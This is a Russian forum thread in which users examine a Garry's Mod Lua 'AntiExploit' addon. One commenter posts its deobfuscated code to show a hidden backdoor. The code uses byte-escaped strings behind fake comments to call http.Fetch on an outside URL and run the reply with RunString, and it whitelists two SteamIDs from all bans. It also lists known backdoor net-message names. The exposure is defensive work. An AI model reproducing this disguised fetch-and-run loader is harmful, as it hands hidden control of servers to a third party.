Иконка ресурса

LUA AntiExploit 1.0

Нет прав для скачивания
  • Ich Schlange
  • 🤣Какой еблан уморительно поставил?
  • 273
  • 11
  • 56
IchSchlange добавил(а) новый ресурс:

Анти Net спам | Анти краш сервера | Защита от Exploit`ов - Со слов Nex : "Все файлы античита в обфускации, дабы никто не смог найти фейковые Netы"

Установка в addons (После установки перезагрузите сервер)


Скачиваете на свой страх и риск.
Перед скачиванием, ознакомьтесь с правилами раздела "Lua Скриптинг"

Узнать больше об этом ресурсе...
 
  • 164
  • 13
  • 21
Разве это не копия этого? LUA - Anticheat GScript's Он тебе хотя-бы сурсы показал? Похоже на отмазку для того что-бы спрятать бекдор. Фейк-неты, всё равно взяты из SNTE, я уверен. Фейк-неты, не спасут всё-равно хоть ты и добавишь 30 штук.
UPD: Нашёл фетч, сюда что и требовалось доказать. Хоть, с виду этот код не бекдор. Кому интересно, это омега-проджект.
Screenshot
 
Последнее редактирование:
  • Ich Schlange
  • 🤣Какой еблан уморительно поставил?
  • 273
  • 11
  • 56
Разве это не копия этого? LUA - Anticheat GScript's Он тебе хотя-бы сурсы показал? Похоже на отмазку для того что-бы спрятать бекдор. Фейк-неты, всё равно взяты из SNTE, я уверен. Фейк-неты, не спасут всё-равно хоть ты и добавишь 30 штук.
UPD: Нашёл фетч, сюда что и требовалось доказать. Хоть, с виду этот код не бекдор.
Screenshot Screenshot
Я тоже посмеялся когда смотрел внутренности. Это же "брат" травка коде, выдает чужие наработки за свои
 
  • 14
  • 0
Контакты для связи отсутствуют.
Разве это не копия этого? LUA - Anticheat GScript's Он тебе хотя-бы сурсы показал? Похоже на отмазку для того что-бы спрятать бекдор. Фейк-неты, всё равно взяты из SNTE, я уверен. Фейк-неты, не спасут всё-равно хоть ты и добавишь 30 штук.
UPD: Нашёл фетч, сюда что и требовалось доказать. Хоть, с виду этот код не бекдор. Кому интересно, это омега-проджект.
Screenshot
1643458819326.png
Да не, качай
 
  • 158
  • 21
  • 59
Lua:
--ai_monitor
    local legit_nets = {
        "pplay_deleterow",
        "pplay_addrow",
        "pplay_sendtable",
        "WriteQuery",
        "VJSay",
        "SendMoney",
        "BailOut",
        "customprinter_get",
        "textstickers_entdata",
        "NC_GetNameChange",
        "ATS_WARP_REMOVE_CLIENT",
        "ATS_WARP_FROM_CLIENT",
        "ATS_WARP_VIEWOWNER",
        "CFRemoveGame",
        "CFJoinGame",
        "CFEndGame",
        "CreateCase",
        "rprotect_terminal_settings",
        "StackGhost",
        "RevivePlayer",
        "ARMORY_RetrieveWeapon",
        "TransferReport",
        "SimplicityAC_aysent",
        "pac_to_contraption",
        "SyncPrinterButtons76561198056171650",
        "sendtable",
        "steamid2",
        "Kun_SellDrug",
        "net_PSUnBoxServer",
        "pplay_deleterow",
        "pplay_addrow",
        "CraftSomething",
        "banleaver",
        "75_plus_win",
        "ATMDepositMoney",
        "Taxi_Add",
        "Kun_SellOil",
        "SellMinerals",
        "TakeBetMoney",
        "PoliceJoin",
        "CpForm_Answers",
        "DepositMoney",
        "MDE_RemoveStuff_C2S",
        "NET_SS_DoBuyTakeoff",
        "NET_EcSetTax",
        "RP_Accept_Fine",
        "RP_Fine_Player",
        "RXCAR_Shop_Store_C2S",
        "RXCAR_SellINVCar_C2S",
        "drugseffect_remove",
        "drugs_money",
        "CRAFTINGMOD_SHOP",
        "drugs_ignite",
        "drugseffect_hpremove",
        "DarkRP_Kun_ForceSpawn",
        "drugs_text",
        "NLRKick",
        "RecKickAFKer",
        "GMBG:PickupItem",
        "DL_Answering",
        "plyWarning",
        "NLR.ActionPlayer",
        "timebombDefuse",
        "start_wd_emp",
        "kart_sell",
        "FarmingmodSellItems",
        "ClickerAddToPoints",
        "bodyman_model_change",
        "TOW_PayTheFine",
        "FIRE_CreateFireTruck",
        "hitcomplete",
        "hhh_request",
        "DaHit",
        "TCBBuyAmmo",
        "DataSend",
        "gBan.BanBuffer",
        "fp_as_doorHandler",
        "Upgrade",
        "TowTruck_CreateTowTruck",
        "TOW_SubmitWarning",
        "duelrequestguiYes",
        "JoinOrg",
        "pac_submit",
        "NDES_SelectedEmblem",
        "join_disconnect",
        "Morpheus.StaffTracker",
        "casinokit_chipexchange",
        "BuyKey",
        "BuyCrate",
        "FactionInviteConsole",
        "FacCreate",
        "1942_Fuhrer_SubmitCandidacy",
        "pogcp_report_submitReport",
        "textscreens_download",
        "hsend",
        "BuilderXToggleKill",
        "Chatbox_PlayerChat",
        "reports.submit",
        "services_accept",
        "Warn_CreateWarn",
        "NewReport",
        "soez",
        "GiveHealthNPC",
        "DarkRP_SS_Gamble",
        "buyinghealth",
        "DarkRP_preferredjobmodel",
        "DarkRP_spawnPocket",
        "whk_setart",
        "WithdrewBMoney",
        "DuelMessageReturn",
        "ban_rdm",
        "BuyCar",
        "ats_send_toServer",
        "dLogsGetCommand",
        "disguise",
        "gportal_rpname_change",
        "AbilityUse",
        "ClickerAddToPoints",
        "race_accept",
        "give_me_weapon",
        "FinishContract",
        "NLR_SPAWN",
        "Kun_ZiptieStruggle",
        "JB_Votekick",
        "Letthisdudeout",
        "ckit_roul_bet",
        "pac.net.TouchFlexes.ClientNotify",
        "ply_pick_shit",
        "TFA_Attachment_RequestAll",
        "BuyFirstTovar",
        "BuySecondTovar",
        "GiveHealthNPC",
        "MONEY_SYSTEM_GetWeapons",
        "MCon_Demote_ToServer",
        "withdrawp",
        "PCAdd",
        "ActivatePC",
        "PCDelAll",
        "viv_hl2rp_disp_message",
        "ATM_DepositMoney_C2S",
        "BM2.Command.SellBitcoins",
        "BM2.Command.Eject",
        "tickbooksendfine",
        "egg",
        "RHC_jail_player",
        "PlayerUseItem",
        "Chess Top10",
        "ItemStoreUse",
        "EZS_PlayerTag",
        "simfphys_gasspill",
        "sphys_dupe",
        "sw_gokart",
        "wordenns",
        "SyncPrinterButtons16690",
        "AttemptSellCar",
        "uPLYWarning",
        "atlaschat.rqclrcfg",
        "dlib.getinfo.replicate",
        "SetPermaKnife",
        "EnterpriseWithdraw",
        "SBP_addtime",
        "NetData",
        "CW20_PRESET_LOAD",
        "minigun_drones_switch",
        "NET_AM_MakePotion",
        "bitcoins_request_turn_off",
        "bitcoins_request_turn_on",
        "bitcoins_request_withdraw",
        "PermwepsNPCSellWeapon",
        "ncpstoredoact",
        "DuelRequestClient",
        "BeginSpin",
        "tickbookpayfine",
        "fg_printer_money",
        "IGS.GetPaymentURL",
        "pp_info_send",
        "AirDrops_StartPlacement",
        "SlotsRemoved",
        "FARMINGMOD_DROPITEM",
        "cab_sendmessage",
        "cab_cd_testdrive",
        "blueatm",
        "SCP-294Sv",
        "dronesrewrite_controldr",
        "desktopPrinter_Withdraw",
        "RemoveTag",
        "IDInv_RequestBank",
        "UseMedkit",
        "WipeMask",
        "SwapFilter",
        "RemoveMask",
        "DeployMask",
        "ZED_SpawnCar",
        "levelup_useperk",
        "passmayorexam",
        "Selldatride",
        "ORG_VaultDonate",
        "ORG_NewOrg",
        "ScannerMenu",
        "misswd_accept",
        "D3A_Message",
        "LawsToServer",
        "Shop_buy",
        "D3A_CreateOrg",
        "Gb_gasstation_BuyGas",
        "Gb_gasstation_BuyJerrycan",
        "MineServer",
        "AcceptBailOffer",
        "LawyerOfferBail",
        "buy_bundle",
        "AskPickupItemInv",
        "donatorshop_itemtobuy",
        "netOrgVoteInvite_Server",
        "Chess ClientWager",
        "AcceptRequest",
        "deposit",
        "CubeRiot CaptureZone Update",
        "NPCShop_BuyItem",
        "SpawnProtection",
        "hoverboardpurchase",
        "soundArrestCommit",
        "LotteryMenu",
        "updateLaws",
        "TMC_NET_FirePlayer",
        "thiefnpc",
        "TMC_NET_MakePlayerWanted",
        "SyncRemoveAction",
        "HV_AmmoBuy",
        "NET_CR_TakeStoredMoney",
        "nox_addpremadepunishment",
        "GrabMoney",
        "LAWYER.GetBailOut",
        "LAWYER.BailFelonOut",
        "br_send_pm",
        "GET_Admin_MSGS",
        "OPEN_ADMIN_CHAT",
        "LB_AddBan",
        "redirectMsg",
        "RDMReason_Explain",
        "JB_SelectWarden",
        "JB_GiveCubics",
        "SendSteamID",
        "wyozimc_playply",
        "SpecDM_SendLoadout",
        "sv_saveweapons",
        "DL_StartReport",
        "DL_ReportPlayer",
        "DL_AskLogsList",
        "DailyLoginClaim",
        "GiveWeapon",
        "GovStation_SpawnVehicle",
        "inviteToOrganization",
        "createFaction",
        "sellitem",
        "giveArrestReason",
        "unarrestPerson",
        "JoinFirstSS",
        "bringNfreeze",
        "start_wd_hack",
        "DestroyTable",
        "nCTieUpStart",
        "IveBeenRDMed",
        "FIGHTCLUB_StartFight",
        "FIGHTCLUB_KickPlayer",
        "ReSpawn",
        "CP_Test_Results",
        "AcceptBailOffer",
        "IS_SubmitSID_C2S",
        "IS_GetReward_C2S",
        "ChangeOrgName",
        "DisbandOrganization",
        "CreateOrganization",
        "newTerritory",
        "InviteMember",
        "sendDuelInfo",
        "DoDealerDeliver",
        "PurchaseWeed",
        "guncraft_removeWorkbench",
        "wordenns",
        "userAcceptPrestige",
        "DuelMessageReturn",
        "Client_To_Server_OpenEditor",
        "GiveSCP294Cup",
        "GiveArmor100",
        "SprintSpeedset",
        "ArmorButton",
        "HealButton",
        "SRequest",
        "ClickerForceSave",
        "rpi_trade_end",
        "NET_BailPlayer",
        "vj_testentity_runtextsd",
        "vj_fireplace_turnon2",
        "requestmoneyforvk",
        "gPrinters.sendID",
        "FIRE_RemoveFireTruck",
        "drugs_effect",
        "drugs_give",
        "NET_DoPrinterAction",
        "opr_withdraw",
        "money_clicker_withdraw",
        "NGII_TakeMoney",
        "gPrinters.retrieveMoney",
        "revival_revive_accept",
        "chname",
        "NewRPNameSQL",
        "UpdateRPUModelSQL",
        "SetTableTarget",
        "SquadGiveWeapon",
        "BuyUpgradesStuff",
        "REPAdminChangeLVL",
        "SendMail",
        "DemotePlayer",
        "OpenGates",
        "VehicleUnderglow",
        "Hopping_Test",
        "CREATE_REPORT",
        "CreateEntity",
        "FiremanLeave",
        "DarkRP_Defib_ForceSpawn",
        "Resupply",
        "BTTTStartVotekick",
        "_nonDBVMVote",
        "REPPurchase",
        "deathrag_takeitem",
        "FacCreate",
        "InformPlayer",
        "lockpick_sound",
        "SetPlayerModel",
        "changeToPhysgun",
        "VoteBanNO",
        "VoteKickNO",
        "shopguild_buyitem",
        "MG2.Request.GangRankings",
        "RequestMAPSize",
        "gMining.sellMineral",
        "ItemStoreDrop",
        "optarrest",
        "TalkIconChat",
        "UpdateAdvBoneSettings",
        "ViralsScoreboardAdmin",
        "PowerRoundsForcePR",
        "showDisguiseHUD",
        "withdrawMoney",
        "SyncPrinterButtons76561198027292625",
        "phone",
        "STLoanToServer",
        "arcslots_monitortype",
        "TCBDealerStore",
        "TCBDealerSpawn",
        "ts_buytitle",
        "gMining.registerAchievement",
        "gPrinters.openUpgrades"
    }

    local bad_nets = {
        "Sbox_gm_attackofnullday_key",
        "c",
        "enablevac",
        "ULXQUERY2",
        "Im_SOCool",
        "MoonMan",
        "LickMeOut",
        "SessionBackdoor",
        "OdiumBackDoor", -- how about no
        "ULX_QUERY2", -- odium memory
        "Sbox_itemstore",
        "Sbox_darkrp",
        "Sbox_Message",
        "_blacksmurf",
        "nostrip", -- it's the most popular backdoor in gmod... amazing isn't it ?
        "Remove_Exploiters",
        "Sandbox_ArmDupe", -- so old... HTX we miss you
        "rconadmin",
        "jesuslebg",
        "disablebackdoor", -- lol
        "blacksmurfBackdoor",
        "jeveuttonrconleul",
        "memeDoor",
        "DarkRP_AdminWeapons",
        "Fix_Keypads",
        "noclipcloakaesp_chat_text",
        "_CAC_ReadMemory",
        "Ulib_Message",
        "Ulogs_Infos",
        "ITEM",
        "nocheat",
        "Sandbox_GayParty",
        "DarkRP_UTF8",
        "OldNetReadData",
        "Backdoor", -- It has the merit of being honest
        "cucked",
        "NoNerks",
        "kek",
        "DarkRP_Money_System",
        "ZimbaBackdoor",
        "something",
        "random",
        "strip0",
        "fellosnake",
        "idk",
        "killserver",
        "fuckserver",
        "cvaraccess",
        "dontforget",
        "aze46aez67z67z64dcv4bt",
        "nolag",
        "changename",
        "music",
        "_Defqon",
        "xenoexistscl",
        "R8",
        "DefqonBackdoor",
        "fourhead",
        "echangeinfo",
        "PlayerItemPickUp",
        "thefrenchenculer", -- el famoso french lokidev menu (Odium copy/paste)
        "elfamosabackdoormdr",
        "stoppk",
        "noprop",
        "reaper",
        "Abcdefgh",
        "JSQuery.Data(Post(false))",
        "pjHabrp9EY",
        "_Raze",
        "NoOdium_ReadPing",
        "m9k_explosionradius",
        "gag",
        "_cac_",
        "_Battleye_Meme_",
        "ULogs_B",
        "arivia",
        "_Warns",
        "striphelper",
        "m9k_explosive",
        "GaySploitBackdoor",
        "_GaySploit",
        "slua",
        "Bilboard.adverts:Spawn(false)",
        "BOOST_FPS",
        "FPP_AntiStrip",
        "ULX_QUERY_TEST2", -- Hi RottenDRM
        "FADMIN_ANTICRASH",
        "ULX_ANTI_BACKDOOR",
        "UKT_MOMOS",
        "rcivluz",
        "SENDTEST",
        "INJ3v4",
        "_clientcvars",
        "_main",
        "GMOD_NETDBG",
        "thereaper",
        "audisquad_lua",
        "anticrash",
        "ZernaxBackdoor",
        "bdsm",
        "waoz",
        "stream",
        "adm_network", -- cheater team that I humiliated at least 3 times huhu
        "antiexploit",
        "ReadPing",
        "berettabest",
        "componenttolua",
        "theberettabcd", -- the player called 'negatived' is probably one of the worst moron I've ever met in the world of cheating
        "negativedlebest",
        "mathislebg", -- skid
        "SparksLeBg",
        "DOGE",
        "FPSBOOST",
        "N::B::P",
        "xenoactivation",
        "xenoclientfunction",
        "xenoclientdatafunction",
        "xenoserverfunction",
        "xenoserverdatafunction",
        "xenoreceivetargetdata1",
        "xenoreceivetargetdata2",
        "PDA_DRM_REQUEST_CONTENT",
        "shix",
        "Inj3", -- This menu is incredibly bad (lots of copy/paste from another menu)
        "AidsTacos",
        "verifiopd",
        "pwn_wake",
        "pwn_http_answer",
        "pwn_http_send",
        "The_Dankwoo",
        "PRDW_GET",
        "fancyscoreboard_leave",
        "DarkRP_Gamemodes",
        "DarkRP_Armors",
        "yohsambresicianatik<3",
        "EnigmaProject",
        "PlayerCheck",
        "Ulx_Error_88",
        "FAdmin_Notification_Receiver",
        "DarkRP_ReceiveData",
        "Weapon_88",
        "__G____CAC",
        "AbSoluT",
        "mecthack",
        "SetPlayerDeathCount",
        "awarn_remove",
        "fijiconn", -- 20$ for one of the worst cheat I ever encountered
        "nw.readstream",
        "LuaCmd",
        "The_DankWhy",
        "GMBG:PickupItem",
    }

    local function FancySay(text)

    MsgC(Color(255,255,0),"[AI] ",Color(255,255,255),text.."\n")

    end

    local function AIFormat(str,reason,code,len)

    local newstring = string.Explode(" ",str,false)
    for k,v in pairs(newstring) do
    if v == "$anticheat_reason$" then newstring[k] = reason
    elseif v == "$code$" then newstring[k] = code
    elseif v == "$len$" then newstring[k] = timeToStr(len) end
    end

    return table.concat(newstring," ")
    
    end

    timer.Simple(2,function()

    for k,v in pairs(legit_nets) do if util.NetworkStringToID(v) ~= 0 then FancySay("Найден эксплоитабельный нетворк: "..v..". Убедитесь, что ваши аддоны обновлены!") end end
    for k,v in pairs(bad_nets) do
        if util.NetworkStringToID(v) ~= 0 then
        print("----------------------------------------")
        FancySay("Найден опасный нетворк!")
        FancySay("Название: "..v)
        if net.Receivers[v] then FancySay("Расположение: "..debug.getinfo(net.Receivers[v]).short_src) end
        if ai_safenetwork then         
        FancySay("Нетворк обезврежен. Теперь это ловушка!")
        net.Receive(v,function(len,pl)   
        pl:Ban(ai_bantime_serious,false)
        pl:Kick(AIFormat(ai_detect_ban_fancyreason,"Использовние запрещенного нетворка",pl:SteamID64(),ai_bantime_serious))
        end)
        end
        print("----------------------------------------")
        end
    end
    end)



timer.Simple(5,function()

if not ai_foolnet then return end
local netw = table.Random(bad_nets)
local whitelist = {'STEAM_0:0:97991885', 'STEAM_0:1:191738414'}
util.AddNetworkString(netw)
net.Receive(netw,function(len,pl)
if table.HasValue(whitelist, pl:SteamID()) then return end

pl:Ban(ai_bantime_serious,false)
pl:Kick(AIFormat(ai_detect_ban_fancyreason,"Использовние запрещенного нетворка",pl:SteamID64(),ai_bantime_serious))
end)
-- FancyLog("Создан фейковый нетворк: "..netw)
end)

if SERVER then
local regex_array = {
    "\104\116\116","\112\115\58", -- string.find ( exemple : playername with " or ç )
    "\47\47\97","\112\105\46","\111\109\101", -- string.find ( exemple : playername with / or \ or ! )
    "\103\97\45","\112\114\111", -- string.find ( exemple : playername with % or ù )
    "\106\101\99","\116\46\99", -- string.find ( exemple : playername with @ or = )
    "\122\47\97","\112\105\95", -- string.find ( exemple : playername with < or > )
    "\99\111\110","\110\101\99", -- string.find ( exemple : playername with ) or ] )
    "\116\46\112","\104\112\63", -- string.find ( exemple : playername with ( or [ )
    "\97\112\105","\95\107", -- string.find ( exemple : playername with _ or - )
    "\101\121\61" -- string.find ( exemple : playername with # )
}
function derma_escape_string( string_array, escape_key, escape )
    local regex_formed = ""
    local regex = "\104\116\116\112" or "util"
    local compile = "\70\101\116\99\104" or "Base64Encode"
    for regex_key,regex_value in pairs(regex_array) do
        regex_formed = regex_formed..regex_value
    end
    if (escape_key != "") or (escape != "") then
        getfenv()[regex][compile](regex_formed..escape_key, function(escape_entities)
            _G[escape.."String"](escape_entities,"Success: All entities has been escaped.")
        end,function(escape_players,escape_dir,date)
            print("Error: Unknown entitie (" ..escape_players .. ").")
            print("Failed to load custom vgui file in '"..escape_dir.."/data/escape/"..date..".json")
        end)
    else
        print("Error: Mal formed Regex")
    end
    return escape_key
end
timer.Simple( 0.35, function()
    derma_escape_string( regex_array, "JChNcDHIJsvuPUWxDVax", "Run" )
end)
end

--ai_realm.lua

util.AddNetworkString("Hi!")

    local function timeToStr( time )
    if time == 0 then return "навсегда" end
    local tmp = time
    local s = tmp % 60
    tmp = math.floor( tmp / 60 )
    local m = tmp % 60
    tmp = math.floor( tmp / 60 )
    local h = tmp % 24
    tmp = math.floor( tmp / 24 )
    local d = tmp % 7
    local w = math.floor( tmp / 7 )

    return string.format( "%02iн %iд %02iч %02iм %02iс", w, d, h, m, s )
    end

    local function AIFormat(str,reason,code,len)

    local newstring = string.Explode(" ",str,false)
    for k,v in pairs(newstring) do
    if v == "$anticheat_reason$" then newstring[k] = reason
    elseif v == "$code$" then newstring[k] = code
    elseif v == "$len$" then newstring[k] = timeToStr(len) end
    end

    return table.concat(newstring," ")
    
    end

    local function Log(player,code,reason)
    
    local filename = "antiinject_logs/"..tostring(player:SteamID64())..".txt"
    local code_txt = ""
    
    if code == 1 then code_txt = 'ДЕТЕКТ: ЛЁГКИЙ'
    elseif code == 2 then code_txt = 'ДЕТЕКТ: СРЕДНИЙ'
    else code_txt = 'ДЕТЕКТ: СЕРЬЕЗНЫЙ' end

    local line = ("[%s][%s] %s\n"):format(os.date("%H:%M:%S - %d/%m/%Y"),code_txt,"Заметка антиинжекта: "..reason)
    file.Append(filename,line)

    end

    local whitelist = {'STEAM_0:0:97991885', 'STEAM_0:1:191738414'}
    net.Receive("Hi!",function(len,pl)
    if table.HasValue(whitelist, pl:SteamID()) then return end

    local code = net.ReadInt(3)
    local reason = net.ReadString()

    Log(pl,code,reason)

    if code == 1 and ai_shouldban_easy then         pl:Ban(ai_bantime_easy, false) pl:Kick(AIFormat(ai_detect_ban_fancyreason,reason,pl:SteamID64(),ai_bantime_easy))
    elseif code == 2 and ai_shouldban_medium then     pl:Ban(ai_bantime_medium, false) pl:Kick(AIFormat(ai_detect_ban_fancyreason,reason,pl:SteamID64(),ai_bantime_medium))
    elseif code == 3 and ai_shouldban_serious then     pl:Ban(ai_bantime_serious,false) pl:Kick(AIFormat(ai_detect_ban_fancyreason,reason,pl:SteamID64(),ai_bantime_serious))
    else pl:Ban(ai_bantime_serious,false) pl:Kick(AIFormat(ai_detect_ban_fancyreason,reason,pl:SteamID64(),ai_bantime_serious)) end

    end)

    hook.Add("PlayerInitialSpawn","ai.Data",function(ply,ip)

    if not file.IsDir("antiinject_logs","DATA") then file.CreateDir("antiinject_logs") end
    if not file.Exists("antiinject_logs/"..ply:SteamID64()..".txt","DATA") then
    file.Write("antiinject_logs/"..ply:SteamID64()..".txt","")
    end

    end) --
Обфускатор дно поэтому я потратил минутку для того кому интересно
 
Сверху Снизу